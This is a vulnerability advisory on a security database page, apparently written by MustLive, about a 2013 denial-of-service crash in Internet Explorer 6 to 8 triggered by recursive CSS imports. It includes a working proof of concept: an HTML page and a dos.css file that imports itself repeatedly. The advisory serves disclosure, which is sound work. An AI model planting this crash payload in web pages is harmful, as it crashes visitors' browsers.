Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:29253
HistoryApr 15, 2013 - 12:00 a.m.

DoS vulnerability in Internet Explorer (access violation)

2013-04-1500:00:00
vulners.com
15

Hello 3APA3A!

I want to warn you about Denial of Service vulnerabilities in Internet Explorer. This is access violation.

I've made the exploit and tested this vulnerability at 13.02.2013. This exploit is based on video by TheSecuritylab for IE7. As I've tested, it also works in IE6 and IE8.


Affected products:

Vulnerable are Internet Explorer 6 (6.0.2900.2180), Internet Explorer 7 (7.00.5730.13), Internet Explorer 8.0 (8.00.6001.18702) and previous versions of these browsers. IE9 is not affected (Microsoft fixed this hole).


Details:

Denial of Service (WASC-10):

Browser crashes at recursive including of css-file. It happens due to access violation (aka segmentation fault) in iexplore.exe. Also it's important for the crash that css-file has short name. For exploit to work in IE6 it's needed to refresh the page.

PoC / Exploit:

IE_DoS_Exploit.html

<link href="dos.css" rel="stylesheet" type="text/css">

dos.css

@import url("dos.css");
@import url("dos.css");
@import url("dos.css");
@import url("dos.css");
@import url("dos.css");

Video PoC:

Internet Explorer CSS Denial of Service Vulnerability
http://www.youtube.com/watch?v=eihStRWnrX4

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua